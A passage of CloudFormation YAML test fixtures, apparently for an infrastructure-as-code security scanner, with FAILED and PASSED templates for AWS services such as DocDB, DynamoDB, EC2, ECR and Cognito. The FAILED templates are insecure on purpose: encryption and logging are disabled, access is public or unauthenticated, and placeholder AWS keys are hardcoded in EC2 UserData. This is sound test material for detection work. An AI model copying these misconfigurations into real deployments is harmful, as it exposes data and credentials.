IsMultiRegionTrail: False S3BucketName: String ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CloudtrailMultiRegion/CloudtrailMultiRegion-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MyTrail0: Type: AWS::CloudTrail::Trail Properties: IsLogging: True IsMultiRegionTrail: True S3BucketName: String ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CodeBuildProjectEncryption/CodeBuildProjectEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MyCodeBuildProject0: Type: AWS::CodeBuild::Project Properties: Artifacts: EncryptionDisabled: True Location: MyS3BucketName Name: / Type: S3 Environment: ComputeType: BUILD_GENERAL1_SMALL Image: aws/codebuild/standard:4.0 Type: LINUX_CONTAINER ServiceRole: arn:aws:iam::123456789012:role/CodeBuild-service-role Source: Type: NO_SOURCE ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CodeBuildProjectEncryption/CodeBuildProjectEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MyCodeBuildProject0: Type: AWS::CodeBuild::Project Properties: Artifacts: EncryptionDisabled: False Location: MyS3BucketName Name: / Type: S3 Environment: ComputeType: BUILD_GENERAL1_SMALL Image: aws/codebuild/standard:4.0 Type: LINUX_CONTAINER ServiceRole: arn:aws:iam::123456789012:role/CodeBuild-service-role Source: Type: NO_SOURCE MyCodeBuildProject1: Type: AWS::CodeBuild::Project Properties: Artifacts: Location: MyS3BucketName Name: / Type: S3 Environment: ComputeType: BUILD_GENERAL1_SMALL Image: aws/codebuild/standard:4.0 Type: LINUX_CONTAINER ServiceRole: arn:aws:iam::123456789012:role/CodeBuild-service-role Source: Type: NO_SOURCE MyCodeBuildProject2: Type: AWS::CodeBuild::Project Properties: Artifacts: Type: NO_ARTIFACTS Environment: ComputeType: BUILD_GENERAL1_SMALL Image: aws/codebuild/standard:4.0 Type: LINUX_CONTAINER ServiceRole: arn:aws:iam::123456789012:role/CodeBuild-service-role Source: Type: NO_SOURCE ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CognitoUnauthenticatedIdentities/FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Identity pool Resources: Fail: Type: AWS::Cognito::IdentityPool Properties: AllowClassicFlow: True AllowUnauthenticatedIdentities: True ================================================ FILE: tests/cloudformation/checks/resource/aws/example_CognitoUnauthenticatedIdentities/PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Identity pool Resources: Pass: Type: AWS::Cognito::IdentityPool Properties: AllowClassicFlow: True AllowUnauthenticatedIdentities: False ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DAXEncryption/DAXEncryption-FAILED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "Create a DAX cluster" Resources: daxCluster: Type: AWS::DAX::Cluster Properties: ClusterName: "MyDAXCluster" NodeType: "dax.r3.large" ReplicationFactor: 1 IAMRoleARN: "arn:aws:iam::111122223333:role/DaxAccess" Description: "DAX cluster created with CloudFormation" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DAXEncryption/DAXEncryption-PASSED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "Create a DAX cluster" Resources: daxCluster: Type: AWS::DAX::Cluster Properties: ClusterName: "MyDAXCluster" NodeType: "dax.r3.large" ReplicationFactor: 1 IAMRoleARN: "arn:aws:iam::111122223333:role/DaxAccess" Description: "DAX cluster created with CloudFormation" SSESpecification: SSEEnabled: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DMSReplicationInstancePubliclyAccessible/DMSReplicationInstancePubliclyAccessible-FAILED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Resource0: Type: AWS::DMS::ReplicationInstance Properties: ReplicationInstanceClass: dms.c4.large Resource1: Type: AWS::DMS::ReplicationInstance Properties: PubliclyAccessible: True ReplicationInstanceClass: dms.c4.large ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DMSReplicationInstancePubliclyAccessible/DMSReplicationInstancePubliclyAccessible-PASSED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Resource0: Type: AWS::DMS::ReplicationInstance Properties: PubliclyAccessible: False ReplicationInstanceClass: dms.c4.large ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DeprecatedLambdaRuntime/example.yaml ================================================ Resources: Pass: Type: 'AWS::Lambda::Function' Properties: Handler: 'index.handler' Role: 'arn:aws:iam::123456789012:role/execution_role' FunctionName: 'MyFunction' Code: S3Bucket: 'myBucket' S3Key: 'code/myLambda.zip' Runtime: 'nodejs18.x' Fail: Type: 'AWS::Lambda::Function' Metadata: cfn-lint: config: ignore_checks: - E2531 - E2533 Properties: Handler: 'index.handler' Role: 'arn:aws:iam::123456789012:role/execution_role' FunctionName: 'MyFunction' Code: S3Bucket: 'myBucket' S3Key: 'code/myLambda.zip' Runtime: 'dotnetcore3.1' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DeprecatedLambdaRuntime/exampleSAM.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Transform: 'AWS::Serverless-2016-10-31' Description: A simple AWS SAM template with a Lambda function. Resources: Fail2: Type: 'AWS::Serverless::Function' Metadata: cfn-lint: config: ignore_checks: - E2531 - E2533 Properties: Handler: 'index.handler' Runtime: 'python3.6' CodeUri: './code/' # This should be the directory path where your Lambda code is. Events: MyApi: Type: Api Properties: Path: /hello1 Method: get Environment: Variables: LOG_LEVEL: 'INFO' MemorySize: 256 Timeout: 10 Role: arn:aws:iam::123456789012:role/lambda_execution_role Pass2: Type: 'AWS::Serverless::Function' Properties: Handler: 'index.handler' Runtime: 'python3.11' CodeUri: './code/' # This should be the directory path where your Lambda code is. Events: MyApi: Type: Api Properties: Path: /hello2 Method: get Environment: Variables: LOG_LEVEL: 'INFO' MemorySize: 256 Timeout: 10 Role: arn:aws:iam::123456789012:role/lambda_execution_role Outputs: MyServerlessFunctionApi: Description: "API Gateway endpoint URL for Prod environment" Value: !Sub "https://${AWS::AccountId}.execute-api.${AWS::Region}.amazonaws.com/Prod/hello1/" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBAuditLogs/DocDBAuditLogs-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBParameterGroupDefault: Type: AWS::DocDB::DBClusterParameterGroup Properties: Description: docdb cluster parameter group Family: docdb4.0 Name: test Parameters: ttl_monitor: "enabled" DocDBParameterGroupDisabled: Type: AWS::DocDB::DBClusterParameterGroup Properties: Description: docdb cluster parameter group Family: docdb4.0 Name: test Parameters: audit_logs: "disabled" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBAuditLogs/DocDBAuditLogs-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBParameterGroupEnabled: Type: AWS::DocDB::DBClusterParameterGroup Properties: Description: docdb cluster parameter group Family: docdb4.0 Name: test Parameters: audit_logs: "enabled" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBBackupRetention/DocDBBackupRetention-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBDefault: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password DocDBNotAdequate: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password BackupRetentionPeriod: 3 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBBackupRetention/DocDBBackupRetention-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBAdequate: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password BackupRetentionPeriod: 7 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBEncryption/DocDBEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBDefault: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password DocDBDisabled: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password StorageEncrypted: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBEncryption/DocDBEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBEnabled: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password StorageEncrypted: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBLogging/DocDBLogging-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBDefault: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password StorageEncrypted: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBLogging/DocDBLogging-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBProfiler: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password StorageEncrypted: false EnableCloudwatchLogsExports: ["profiler"] DocDBAudit: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password StorageEncrypted: false EnableCloudwatchLogsExports: ["audit"] DocDBEnabled: Type: AWS::DocDB::DBCluster Properties: MasterUsername: name MasterUserPassword: password StorageEncrypted: true EnableCloudwatchLogsExports: ["audit", "profiler"] ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBTLS/DocDBTLS-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBParameterGroupDisabled: Type: AWS::DocDB::DBClusterParameterGroup Properties: Description: docdb cluster parameter group Family: docdb3.6 Name: test Parameters: tls: "disabled" ttl_monitor: "enabled" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DocDBTLS/DocDBTLS-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DocDBParameterGroupEnabled: Type: AWS::DocDB::DBClusterParameterGroup Properties: Description: docdb cluster parameter group Family: docdb3.6 Name: test Parameters: tls: "enabled" ttl_monitor: "enabled" DocDBParameterGroupDefault: Type: AWS::DocDB::DBClusterParameterGroup Properties: Description: docdb cluster parameter group Family: docdb3.6 Name: test Parameters: ttl_monitor: "enabled" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DynamoDBTablesEncrypted/FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: DefaultEncryption: Type: AWS::DynamoDB::Table Properties: TableName: "test" AttributeDefinitions: - AttributeName: "Test" AttributeType: "S" KeySchema: - AttributeName: "Test" KeyType: "HASH" SSESpecification: SSEEnabled: true EncryptionFalse: Type: AWS::DynamoDB::Table Properties: TableName: "test" AttributeDefinitions: - AttributeName: "Test" AttributeType: "S" KeySchema: - AttributeName: "Test" KeyType: "HASH" SSESpecification: SSEEnabled: false NoEncryptionConfig: Type: AWS::DynamoDB::Table Properties: TableName: "test" AttributeDefinitions: - AttributeName: "Test" AttributeType: "S" KeySchema: - AttributeName: "Test" KeyType: "HASH" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DynamoDBTablesEncrypted/PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: KMSEncryption: Type: AWS::DynamoDB::Table Properties: TableName: "test" AttributeDefinitions: - AttributeName: "Test" AttributeType: "S" KeySchema: - AttributeName: "Test" KeyType: "HASH" SSESpecification: KMSMasterKeyId: "alias/key" SSEEnabled: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DynamodbGlobalTableRecovery/DynamodbGlobalTableRecovery-FAILED-2.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: MyGlobalTableRecoveryDisabled: Type: 'AWS::DynamoDB::GlobalTable' Properties: AttributeDefinitions: - AttributeName: PK AttributeType: S - AttributeName: SK AttributeType: S - AttributeName: GSI1PK AttributeType: S - AttributeName: GSI1SK AttributeType: S BillingMode: PAY_PER_REQUEST GlobalSecondaryIndexes: - IndexName: GSI1 KeySchema: - AttributeName: GSI1PK KeyType: HASH - AttributeName: GSI1SK KeyType: RANGE Projection: ProjectionType: ALL KeySchema: - AttributeName: PK KeyType: HASH - AttributeName: SK KeyType: RANGE TableName: MyGT Replicas: - PointInTimeRecoverySpecification: PointInTimeRecoveryEnabled: false Region: eu-west-2 StreamSpecification: StreamViewType: NEW_AND_OLD_IMAGES ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DynamodbGlobalTableRecovery/DynamodbGlobalTableRecovery-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: MyGlobalTableRecoveryDefault: Type: 'AWS::DynamoDB::GlobalTable' Properties: AttributeDefinitions: - AttributeName: PK AttributeType: S - AttributeName: SK AttributeType: S - AttributeName: GSI1PK AttributeType: S - AttributeName: GSI1SK AttributeType: S BillingMode: PAY_PER_REQUEST GlobalSecondaryIndexes: - IndexName: GSI1 KeySchema: - AttributeName: GSI1PK KeyType: HASH - AttributeName: GSI1SK KeyType: RANGE Projection: ProjectionType: ALL KeySchema: - AttributeName: PK KeyType: HASH - AttributeName: SK KeyType: RANGE TableName: MyGT Replicas: - Region: eu-west-2 StreamSpecification: StreamViewType: NEW_AND_OLD_IMAGES ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DynamodbGlobalTableRecovery/DynamodbGlobalTableRecovery-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: MyGlobalTableRecoveryEnabled: Type: 'AWS::DynamoDB::GlobalTable' Properties: AttributeDefinitions: - AttributeName: PK AttributeType: S - AttributeName: SK AttributeType: S - AttributeName: GSI1PK AttributeType: S - AttributeName: GSI1SK AttributeType: S BillingMode: PAY_PER_REQUEST GlobalSecondaryIndexes: - IndexName: GSI1 KeySchema: - AttributeName: GSI1PK KeyType: HASH - AttributeName: GSI1SK KeyType: RANGE Projection: ProjectionType: ALL KeySchema: - AttributeName: PK KeyType: HASH - AttributeName: SK KeyType: RANGE TableName: MyGT Replicas: - PointInTimeRecoverySpecification: PointInTimeRecoveryEnabled: true Region: eu-west-2 StreamSpecification: StreamViewType: NEW_AND_OLD_IMAGES ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DynamodbRecovery/DynamodbRecovery-FAILED-2.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: myDynamoDBTable: Type: AWS::DynamoDB::Table Properties: AttributeDefinitions: - AttributeName: "Album" AttributeType: "S" - AttributeName: "Artist" AttributeType: "S" - AttributeName: "Sales" AttributeType: "N" - AttributeName: "NumberOfSongs" AttributeType: "N" KeySchema: - AttributeName: "Album" KeyType: "HASH" - AttributeName: "Artist" KeyType: "RANGE" ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 TableName: "myTableName" GlobalSecondaryIndexes: - IndexName: "myGSI" KeySchema: - AttributeName: "Sales" KeyType: "HASH" - AttributeName: "Artist" KeyType: "RANGE" Projection: NonKeyAttributes: - "Album" - "NumberOfSongs" ProjectionType: "INCLUDE" ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 - IndexName: "myGSI2" KeySchema: - AttributeName: "NumberOfSongs" KeyType: "HASH" - AttributeName: "Sales" KeyType: "RANGE" Projection: NonKeyAttributes: - "Album" - "Artist" ProjectionType: "INCLUDE" ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 LocalSecondaryIndexes: - IndexName: "myLSI" KeySchema: - AttributeName: "Album" KeyType: "HASH" - AttributeName: "Sales" KeyType: "RANGE" Projection: NonKeyAttributes: - "Artist" - "NumberOfSongs" ProjectionType: "INCLUDE" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DynamodbRecovery/DynamodbRecovery-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: myDynamoDBTable: Type: AWS::DynamoDB::Table Properties: AttributeDefinitions: - AttributeName: "Album" AttributeType: "S" - AttributeName: "Artist" AttributeType: "S" - AttributeName: "Sales" AttributeType: "N" - AttributeName: "NumberOfSongs" AttributeType: "N" KeySchema: - AttributeName: "Album" KeyType: "HASH" - AttributeName: "Artist" KeyType: "RANGE" PointInTimeRecoverySpecification: #PointInTimeRecoveryEnabled: True PointInTimeRecoveryEnabled: False ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 TableName: "myTableName" GlobalSecondaryIndexes: - IndexName: "myGSI" KeySchema: - AttributeName: "Sales" KeyType: "HASH" - AttributeName: "Artist" KeyType: "RANGE" Projection: NonKeyAttributes: - "Album" - "NumberOfSongs" ProjectionType: "INCLUDE" ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 - IndexName: "myGSI2" KeySchema: - AttributeName: "NumberOfSongs" KeyType: "HASH" - AttributeName: "Sales" KeyType: "RANGE" Projection: NonKeyAttributes: - "Album" - "Artist" ProjectionType: "INCLUDE" ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 LocalSecondaryIndexes: - IndexName: "myLSI" KeySchema: - AttributeName: "Album" KeyType: "HASH" - AttributeName: "Sales" KeyType: "RANGE" Projection: NonKeyAttributes: - "Artist" - "NumberOfSongs" ProjectionType: "INCLUDE" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_DynamodbRecovery/DynamodbRecovery-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: myDynamoDBTable: Type: AWS::DynamoDB::Table Properties: AttributeDefinitions: - AttributeName: "Album" AttributeType: "S" - AttributeName: "Artist" AttributeType: "S" - AttributeName: "Sales" AttributeType: "N" - AttributeName: "NumberOfSongs" AttributeType: "N" KeySchema: - AttributeName: "Album" KeyType: "HASH" - AttributeName: "Artist" KeyType: "RANGE" PointInTimeRecoverySpecification: PointInTimeRecoveryEnabled: True #PointInTimeRecoveryEnabled: False ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 TableName: "myTableName" GlobalSecondaryIndexes: - IndexName: "myGSI" KeySchema: - AttributeName: "Sales" KeyType: "HASH" - AttributeName: "Artist" KeyType: "RANGE" Projection: NonKeyAttributes: - "Album" - "NumberOfSongs" ProjectionType: "INCLUDE" ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 - IndexName: "myGSI2" KeySchema: - AttributeName: "NumberOfSongs" KeyType: "HASH" - AttributeName: "Sales" KeyType: "RANGE" Projection: NonKeyAttributes: - "Album" - "Artist" ProjectionType: "INCLUDE" ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 LocalSecondaryIndexes: - IndexName: "myLSI" KeySchema: - AttributeName: "Album" KeyType: "HASH" - AttributeName: "Sales" KeyType: "RANGE" Projection: NonKeyAttributes: - "Artist" - "NumberOfSongs" ProjectionType: "INCLUDE" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EBSEncryption/EBSEncryption-FAILED-2.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Sample EBS Volume with EC2 instance template Resources: NewVolume: Type: AWS::EC2::Volume Properties: Size: 100 AvailabilityZone: us-west-2a Tags: - Key: MyTag Value: TagValue DeletionPolicy: Snapshot ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EBSEncryption/EBSEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Sample EBS Volume with EC2 instance template Resources: NewVolume: Type: AWS::EC2::Volume Properties: Size: 100 #Encrypted: true Encrypted: false AvailabilityZone: us-west-2a Tags: - Key: MyTag Value: TagValue DeletionPolicy: Snapshot ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EBSEncryption/EBSEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Sample EBS Volume with EC2 instance template Resources: NewVolume: Type: AWS::EC2::Volume Properties: Size: 100 Encrypted: true #Encrypted: false AvailabilityZone: us-west-2a Tags: - Key: MyTag Value: TagValue DeletionPolicy: Snapshot ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EC2Credentials/EC2Credentials-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Resource0: Type: AWS::EC2::Instance Properties: ImageId: ami-04169656fea786776 UserData: Fn::Base64: !Sub | #! /bin/bash sudo apt-get update sudo apt-get install -y apache2 sudo systemctl start apache2 sudo systemctl enable apache2 export AWS_ACCESS_KEY_ID export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE # checkov:skip=CKV_SECRET_2 test secret export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # checkov:skip=CKV_SECRET_6 test secret export AWS_DEFAULT_REGION=us-west-2 echo "

Deployed via Terraform

" | sudo tee /var/www/html/index.html ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EC2Credentials/EC2Credentials-FAILED_B64encoded.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Resource0: Type: AWS::EC2::Instance Properties: ImageId: ami-04169656fea786776 UserData: IyEgL2Jpbi9iYXNoCnN1ZG8gYXB0LWdldCB1cGRhdGUKc3VkbyBhcHQtZ2V0IGluc3RhbGwgLXkgYXBhY2hlMgpzdWRvIHN5c3RlbWN0bCBzdGFydCBhcGFjaGUyCnN1ZG8gc3lzdGVtY3RsIGVuYWJsZSBhcGFjaGUyCmV4cG9ydCBBV1NfQUNDRVNTX0tFWV9JRApleHBvcnQgQVdTX0FDQ0VTU19LRVlfSUQ9QUtJQUlPU0ZPRE5ON0VYQU1QTEUKZXhwb3J0IEFXU19TRUNSRVRfQUNDRVNTX0tFWT13SmFsclhVdG5GRU1JL0s3TURFTkcvYlB4UmZpQ1lFWEFNUExFS0VZCmV4cG9ydCBBV1NfREVGQVVMVF9SRUdJT049dXMtd2VzdC0yCmVjaG8gIjxoMT5EZXBsb3llZCB2aWEgVGVycmFmb3JtPC9oMT4iIHwgc3VkbyB0ZWUgL3Zhci93d3cvaHRtbC9pbmRleC5odG1s ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EC2Credentials/EC2Credentials-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Resource0: Type: AWS::EC2::Instance Properties: ImageId: ami-04169656fea786776 Resource1: Type: AWS::EC2::Instance Properties: ImageId: ami-04169656fea786776 UserData: Fn::Base64: !Sub | #! /bin/bash sudo apt-get update sudo apt-get install -y apache2 sudo systemctl start apache2 sudo systemctl enable apache2 export AWS_ACCESS_KEY_ID export AWS_ACCESS_KEY_ID=FOO export AWS_SECRET_ACCESS_KEY=bar export AWS_DEFAULT_REGION=us-west-2 echo "

Deployed via Terraform

" | sudo tee /var/www/html/index.html ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EC2PublicIP/EC2PublicIP-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: EC2InstanceResource0: Type: AWS::EC2::Instance Properties: ImageId: ami-04169656fea786776 NetworkInterfaces: - AssociatePublicIpAddress: true DeviceIndex: "0" GroupSet: - "myVPCEC2SecurityGroup" SubnetId: "PublicSubnet" EC2LaunchTemplateResource0: Type: AWS::EC2::LaunchTemplate Properties: LaunchTemplateData: ImageId: ami-04169656fea786776 NetworkInterfaces: - AssociatePublicIpAddress: true DeviceIndex: 0 Groups: - "myVPCEC2SecurityGroup" SubnetId: "PublicSubnet" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EC2PublicIP/EC2PublicIP-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: EC2InstanceResource0: Type: AWS::EC2::Instance Properties: ImageId: ami-04169656fea786776 EC2InstanceResource1: Type: AWS::EC2::Instance Properties: ImageId: ami-04169656fea786776 NetworkInterfaces: - AssociatePublicIpAddress: false DeviceIndex: "0" GroupSet: - "myVPCEC2SecurityGroup" SubnetId: "PublicSubnet" EC2InstanceResource2: Type: AWS::EC2::Instance EC2LaunchTemplateResource0: Type: AWS::EC2::LaunchTemplate Properties: LaunchTemplateData: ImageId: ami-04169656fea786776 EC2LaunchTemplateResource1: Type: AWS::EC2::LaunchTemplate Properties: LaunchTemplateData: ImageId: ami-04169656fea786776 NetworkInterfaces: - AssociatePublicIpAddress: false DeviceIndex: 0 Groups: - "myVPCEC2SecurityGroup" SubnetId: "PublicSubnet" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_EC2PublicIP/EC2PublicIP-UNKNOWN.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: EC2InstanceResource0: Type: AWS::EC2::Instance Properties: ImageId: ami-04169656fea786776 NetworkInterfaces: - DeviceIndex: "0" GroupSet: - "myVPCEC2SecurityGroup" SubnetId: "PublicSubnet" EC2LaunchTemplateResource0: Type: AWS::EC2::LaunchTemplate Properties: LaunchTemplateData: ImageId: ami-04169656fea786776 NetworkInterfaces: - DeviceIndex: 0 Groups: - "myVPCEC2SecurityGroup" SubnetId: "PublicSubnet" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRImageScanning/FAILED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: ImageScanFalse: Type: AWS::ECR::Repository Properties: RepositoryName: "test" ImageScanningConfiguration: ScanOnPush: false ImageScanFalseString: Type: AWS::ECR::Repository Properties: RepositoryName: "test" ImageScanningConfiguration: ScanOnPush: "false" ImageScanNotSet: Type: AWS::ECR::Repository Properties: RepositoryName: "test" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRImageScanning/PASSED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: ImageScanTrue: Type: AWS::ECR::Repository Properties: RepositoryName: "test" ImageScanningConfiguration: ScanOnPush: true ImageScanTrueString: Type: AWS::ECR::Repository Properties: RepositoryName: "test" ImageScanningConfiguration: ScanOnPush: "true" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRImmutableTags/ECRImmutableTags-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MyRepository0: Type: AWS::ECR::Repository Properties: RepositoryName: "test-repository" ImageTagMutability: "MUTABLE" RepositoryPolicyText: Version: "2012-10-17" Statement: - Sid: AllowPushPull Effect: Allow Principal: AWS: - "arn:aws:iam::123456789012:user/Bob" - "arn:aws:iam::123456789012:user/Alice" Action: - "ecr:GetDownloadUrlForLayer" - "ecr:BatchGetImage" - "ecr:BatchCheckLayerAvailability" - "ecr:PutImage" - "ecr:InitiateLayerUpload" - "ecr:UploadLayerPart" - "ecr:CompleteLayerUpload" MyRepository1: Type: AWS::ECR::Repository Properties: RepositoryName: "test-repository" RepositoryPolicyText: Version: "2012-10-17" Statement: - Sid: AllowPushPull Effect: Allow Principal: AWS: - "arn:aws:iam::123456789012:user/Bob" - "arn:aws:iam::123456789012:user/Alice" Action: - "ecr:GetDownloadUrlForLayer" - "ecr:BatchGetImage" - "ecr:BatchCheckLayerAvailability" - "ecr:PutImage" - "ecr:InitiateLayerUpload" - "ecr:UploadLayerPart" - "ecr:CompleteLayerUpload" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRImmutableTags/ECRImmutableTags-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MyRepository: Type: AWS::ECR::Repository Properties: RepositoryName: "test-repository" ImageTagMutability: "IMMUTABLE" RepositoryPolicyText: Version: "2012-10-17" Statement: - Sid: AllowPushPull Effect: Allow Principal: AWS: - "arn:aws:iam::123456789012:user/Bob" - "arn:aws:iam::123456789012:user/Alice" Action: - "ecr:GetDownloadUrlForLayer" - "ecr:BatchGetImage" - "ecr:BatchCheckLayerAvailability" - "ecr:PutImage" - "ecr:InitiateLayerUpload" - "ecr:UploadLayerPart" - "ecr:CompleteLayerUpload" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRPolicy/ECRPolicy-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Public: Type: AWS::ECR::Repository Properties: RepositoryName: "test-repository" RepositoryPolicyText: Version: "2012-10-17" Statement: - Sid: AllowPushPull Effect: Allow Principal: AWS: - "arn:aws:iam::123456789012:user/Bob" - "arn:aws:iam::123456789012:user/Alice" - "*" Action: - "ecr:GetDownloadUrlForLayer" - "ecr:BatchGetImage" - "ecr:BatchCheckLayerAvailability" - "ecr:PutImage" - "ecr:InitiateLayerUpload" - "ecr:UploadLayerPart" - "ecr:CompleteLayerUpload" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ECRPolicy/ECRPolicy-PASSED-2.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: CondAllPass: Type: AWS::ECR::Repository Properties: RepositoryName: "test-repository" RepositoryPolicyText: Version: "2012-10-17" Statement: - Sid: AllowPushPull Effect: Allow Principal: "*" Action: - "ecr:GetDownloadUrlForLayer" - "ecr:BatchGetImage" - "ecr:BatchCheckLayerAvailability" - "ecr:PutImage" - "ecr:InitiateLayerUpload" - "ecr:UploadLayerPart" - "ecr:CompleteLayerUpload" Condition: ForAllValues:StringEquals: aws:PrincipalOrgID: "o-12345678" CondAnyPass: Type: AWS::ECR::Repository Properties: RepositoryName: "test-repository" RepositoryPolicyText: Version: "2012-10-17" Statement: - Sid: AllowPushPull Effect: Allow Principal: "*" Action: - "ecr:GetDownloadUrlForLayer" - "ecr:BatchGetImage" - "ecr:BatchCheckLayerAvailability" - "ecr:PutImage" - "ecr:InitiateLayerUpload" - "ecr:UploadLayerPart" - "ecr:CompleteLayerUpload" Condition: ForAnyValue:StringEquals: aws:PrincipalOrgID: "o-12345678" CondEqualsPass: Type: AWS::ECR::Repository Properties: RepositoryName: "test-repository" RepositoryPolicyText: Version: "2012-10-17" Statement: - Sid: AllowPushPull Effect: Allow Principal: "*" Action: - "ecr:GetDownloadUrlForLayer" - "ecr:BatchGetImage" - "ecr:BatchCheckLayerAvailability" - "ecr:PutImage" - "ecr:InitiateLayerUpload" - 